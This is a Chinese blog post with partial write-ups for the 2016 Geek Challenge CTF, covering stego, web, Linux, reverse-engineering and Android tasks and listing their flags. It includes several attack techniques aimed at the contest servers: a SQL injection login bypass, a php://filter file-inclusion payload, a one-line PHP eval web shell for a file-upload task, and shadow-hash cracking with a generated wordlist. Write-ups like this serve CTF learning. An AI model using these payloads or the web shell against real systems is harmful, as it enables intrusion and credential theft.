极客大挑战2016-部分wp

签到题

SYC{We1c0m3_To_G33k_2O!6}


闪的好快

Stegsolve  Frame Broswer模式,然后扫二维码就可以了


SYC{F1aSh_so_f4sT}


xiao彩蛋

关注三叶草微博私信flag即可


SYC{2o16_Geek_c0m3_0n}

Come_game

学弟大神做的,生成的一个save1文件中存储人物的关数和坐标


测试将关数改为5即可得到flag


 

SYC{6E23F259D98DF153}


旋转跳跃

用MP3Stego即可解密:

decode  -X  -P syclovergeek  sycgeek-mp3.mp3

SYC{Mp3_B15b1uBiu_W0W}


凯撒部长的奖励

JPK凯撒解密即可(够长的...)


SYC{here_Is_yOur_rEwArd_enjOy_It_Caesar_or_call_him_vIctOr_is_a_Excellent_man_if_you_want_to_get_his_informations_you_can_join_us}


MD5cracker

把l改成1,找个MD5解密网站解密即可


SYC{ clay}


web_1

F12看network(网络),在header部分可找到flag


SYC{This_1s_Http_he4der}


web_2

使用firebug将cookie更改成:

root=1   whoami=admin@geekgame

,然后刷新即可

SYC{Welc0me_b4ck_4dm1n}


127.0.0.x

小伙伴的思路,加上X-forwarded-for


最后的数字跟滴的个数有关


SYC{Shan_Dong_Ren_Xiong_Qi}


Social Engineering

根据小伙伴思路,在http://2em.pw/查询邮箱,发现


然后找到肖力吧,


加QQ,看空间留言板,


然后在https://whois.aliyun.com 查询sycsec.com,得到电话号,提交即可


SYC{13412341234}


Linux_1


小伙伴思路,Docker镜像,那就了解一下docker使用,实验环境 Ubuntu64位


先切换root,这样比较方便


Docker  load  -i geek_linux.tar
   加载镜像


docker  images 
                 查看已加载镜像


docker   run  -t  -i  geek/linux  /bin/bash
   启动容器并打开一个终端


find   / -name   *flag*             寻找所有包含flag的文件名


cat   /usr/local/etc/geek/.flag        得到第一个flag


SYC{L1Nux_1s_Fun_F0r_uS}


Linux-2

进入root目录,发现一个交换文件F1Ag2.swp,


用 ll 命令看到一些隐藏文件(也可以用ls  -a),查看viminfo发现一个flag,但是提交不正确,那恢复一下swp文件


vim  –r  F1Ag2     恢复被删除的文件


cat   F1Ag2   查看文件内容,稍微处理一下就是flag


SYC{40ac6ed53f18a051}


Linux-3

cat  /etc/shadow  查看shadow文件


复制最后一个用户的信息


syclover-geek:$6$kawxWrll$cqxADGJwT99K.l24XlI0WPgF9h86Bz8FubiMPXsj..ad1rMDoVO/eNHDyVuLdML6fn337RdCOkf8IlyxJJFH3.:17084:0:99999:7:::


放到一个名为shadow的文件里


然后准备生成字典

#!/usr/bin/python
# -*- coding: utf-8 -*-

file1 = open("doc.txt", "w")

for i1 in range(1970, 2017):
    for i2 in range(1, 13):
        for i3 in range(1, 32):
            s = "syc" + str(i1) +"%02d" % (i2) + "%02d" % (i3)
            file1.write(s + "\n")

print "OK!!!"

file1.close()


然后在kali下或者在windows下的bash中用john破解


John  -worlist=doc.txt   shadow   需要将这两个文件放在当前目录下,不然还得自己找目录


破解完成之后就会直接显示出密码


如果还想自己查看,使用命令:john  –show shadow


SYC{ syc19770308}


Snow

学长做的


标题是snow,提示是No key Noflag。

看网页源码中有key。


学长说在html后面一些空格和tab符。


不是摩斯码,估计是一种加密方式名叫snow。


然后 学长 百度了“snow html隐写”,第一个结果http://book.51cto.com/art/201402/429300.htm中有详细描述。
http://www.darkside.com.au/snow/上下载下来exe。使用命令


SNOW.EXE  -C  -p  syclover2016   snow.html

SYC{HaHaHa_You_Find_Me}


单身二十年,手速一定快

小伙伴的脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
url = "http://web.sycsec.com/0b3a7c6ca7f1f2e6/"
rep = requests.get(url)
y = 0
for x in rep.text:
    if x == '@':
        y = y + 1

print y
cookie = rep.cookies
url2 = 'http://web.sycsec.com/0b3a7c6ca7f1f2e6/judge.php'
rep2 = requests.post(url2, data={"mytext": str(y-1)}, cookies=cookie)
print rep2.text


SYC{web_is_fun}


sqli2

用户名填 admin' or'1'='1


密码随便,不填也行


SYC{G00d_K33p_Trying_Wish_U_Success}


人生苦短

计算py,提交然后看源代码,有很长的字符串,进行解码,一共解码20次


脚本

#!/usr/bin/python
#  coding: utf-8

import base64

string1 = "KMYDCWS..."

for i in range(20):
    if i % 2 == 0:
        string1 = base64.b32decode(string1)
    else:
        string1 = base64.b64decode(string1)

print string1

SYC{I_Love_You}


Compress300

小伙伴的Python脚本,因为每层压缩方式不固定,所以比较麻烦

#!/usr/bin/python
# -*- coding: utf-8 -*-

import gzip
import tarfile
import zipfile
import bz2file

def un_gzip(filename):
"""
raise IOError, 'Not a gzipped file'
"""
    g_file = gzip.GzipFile(filename)
    open(filename+"_g","w+").write(g_file.read())
    g_file.close()
    return filename+"_g"

def un_tar(filename):
"""
tarfile.ReadError: file could not be opened successfully
"""
    tar = tarfile.open(filename)
    names = tar.getnames()
    # print(names)
    if len(names)>1:
        print("tar too long > 1")
        return False
    tar.extract(names[0])
    tar.close()
    return names[0]

def un_zip(filename):
"""
zipfile.BadZipFile: Bad magic number for file header
"""
    zip_file = zipfile.ZipFile(filename)
    names = zip_file.namelist()
    print(names)
    if len(names) > 1:
        print("zip too long > 1")
        return False
    zip_file.extract(names[0])
    zip_file.close()
    return names[0]

def un_bz2(filename):
"""
IOError: invalid data stream
"""
    bz_file = bz2file.open(filename,"rb")
   open(filename+"_bz","wb").write(bz_file.read())
    bz_file.close()
    return filename+"_bz"

def choose(filename):
    try:
        file = un_bz2(filename)
    except Exception as e:
        pass
    else:
        return un_bz2
    try:
        file = un_tar(filename)
    except Exception as e:
        pass
    else:
        return un_tar
    try:
        file = un_zip(filename)
    except Exception as e:
        print(e)
    else:
        return un_zip
    try:
        file = un_gzip(filename)
    except Exception as e:
        print(e)
    else:
        return un_gzip

def main():
    filename = un_bz2("300")
    for i in xrange(600):
        print(filename)
        func = choose(filename)
        filename = func(filename)
        #print(i)

if __name__ == '__main__':
    main()


re10-一起嗨皮

用ida打开f5就能得到flag
SYC{Ju3st_R19ht_c1ick}


辣鸡androidRE

用模拟器看了看,是输入用户名和密码,

然后用jeb返汇编,知道用户名是8位,密码是28位


然后会调用native层的加密方法


将.so文件提取出来用ida打开,


关键函数和反汇编代码发现是对syc和table字段处理

Ctrl + S 找到对应字符串,比对代码发现,提取字符串中偶数位,得到flag

SYC{Have_FUn_W1th_GeekChal@}


sqli1

常理可以直接用sqlmap注出来,但是我sqlmap老是断掉,就先手注出表名和列名,然后因为表名是 #FL4G#  #相当于注释,后面的就没了,无奈只能再用sql map把flag  dump下来

列名是flag

库名是sycsqli1(虽然没什么用)

跟出题人交流了下,发现可以把表名写成 `%23FL4G%23`来绕过

SYC{Sqli_1s_Not_So_Hard}


藏着小秘密的流量包

一个流量包,wireshark打开没什么发现,不过可以导出对象,然后用foremost提取一下文件,发现一张图片有flag


SYC{this_is_bluetooth}


狗师傅的计算器

打开之后看到brainfuck编码,解码之后是welcome.PHP

然后访问http://game.sycsec.com:50085/welcome.php

随便填俩数字,然后看源代码,有两个链接,syc.php和robot.txt

syc.php页面提示flag就在那个页面,robot.txt不能访问,不过可以访问robots.txt,得到result.php的源码

<?php
//竟然知道brain fuck 和 robots.txt 狗师傅咬你哦 -.-
//这时候狗师傅叼着下面的源码冲到你的面前,审啊,审不出就咬
//-.-
    $num1=$_REQUEST['num1'];

    $num2=$_REQUEST['num2'];

    $oper=$_REQUEST['oper'];

    $str=$_GET['syc'];

    $pos=strpos($str,'/');    
    if(0===$pos)
    {
        die('Do not hack master go :)');
    }
    if(strpos($str ,'..') > -1 || strops($str , '=/') >-1){
    die('Do not hack master go :)');
    }
  
    $result=include($str . ".php");
    
    //echo $str;

    $res=0;
    switch($oper){
        case "+":
            $res=$num1+$num2;
            break;
        case "-":
            $res=$num1-$num2;
            break;
        case "*":
            $res=$num1*$num2;
            break;
        case "/":
            $res=$num1/$num2;
            break;
        default:
            echo '<br/>no data!';
 
    }
    echo '<br/>result='.$res ;
    
?>
<br/>
<a href="syc.php">算对了你也找不到flag -.-</a>
<br/>
<a
href="robot.txt">你对php实现计算器感兴趣么,来这里看看
:) </a>

小伙伴找到:这里用到姿势是文件包含,这题的利用点为:php://filter/convert.base64-encode/resource=syc

就可以构造成:http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc

得到base64编码的内容,解码即得到flag

SYC{php_iS_Fun}


上传

小伙伴做的

后缀名phtml上传成功

SYC{Ohno_y0u_f0und_me}

 

说还有1个flag,然后上传一句话,过滤了php三个字符,用script标签加上PHP绕过,连菜刀得到flag

shell示例:

<scriptlanguage="Php">@eval($_POST['a']);</script>

SYC{bRa1Nf4Ck}

 

PEN_AND_APPLE

给了hint是 视频和WINDOWS下的type命令有关,

然后查到这篇文章:http://blog.csdn.net/c395565746c/article/details/5336260,所以猜测可能是隐藏在ntfs文件流中,

但是不知道隐藏文件名,百度了下ntfs流文件读取工具,下载了一个软件 alternatestreamview ,

给的压缩文件解压到了一个文件夹pen,用 alternatestreamview检测此文件夹,发现


提取出来就得到flag了

SYC{Hei_hei_hei}


我好菜啊-杂项部分


根据提示只要异或就可以了,那就随便找个正常的png图片跟下载的图片异或一下试试,然后,出来了。

# !python2
# coding:utf-8

file1 = open("1.png","rb") #下载的图片
content1 = file1.read()

file2 = open("2.png","rb") #随便找一张正常的图片
content2 = file2.read()


str1 = [chr(ord(a) ^ ord(b)) for a,b in zip(content1,content2)]

print str1

file1.close()
file2.close()

根据提示取前面的字符串就可以,后面的就重复了

flag:SYc1OV3r


我好菜啊-编程部分

根据 我好菜啊杂项部分得到的key,继续异或就好了

# !python2
# coding:utf-8

file1 = open("1.png","rb") #下载的图片
content1 = file1.read()

file2 = open("flag.png","wb")

key = "SYc1OV3r"


str1 = ""
for i in range(len(content1)):
    str1 += chr(ord(content1[i])^ord(key[i%8]))

file2.write(str1)

file1.close()
file2.close()

print "Done"


提交解密代码给 QQ:3245037532

发给你一张图片,用这张图片再运行刚才的代码,就得到flag了

flag:SYC{syc_hao_hao_xue_xi_tian_tian_xiang_shang}


感谢一起做题的小伙伴们。

(吐槽一下CSDN,回收站的文章不能恢复,那要回收站干什么用。。

而且登陆还是那么慢,幸亏我有小技巧。。

还有为什么莫名其妙地给我写的东西里加超链接。。

如果搜索不到是什么原因。。)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值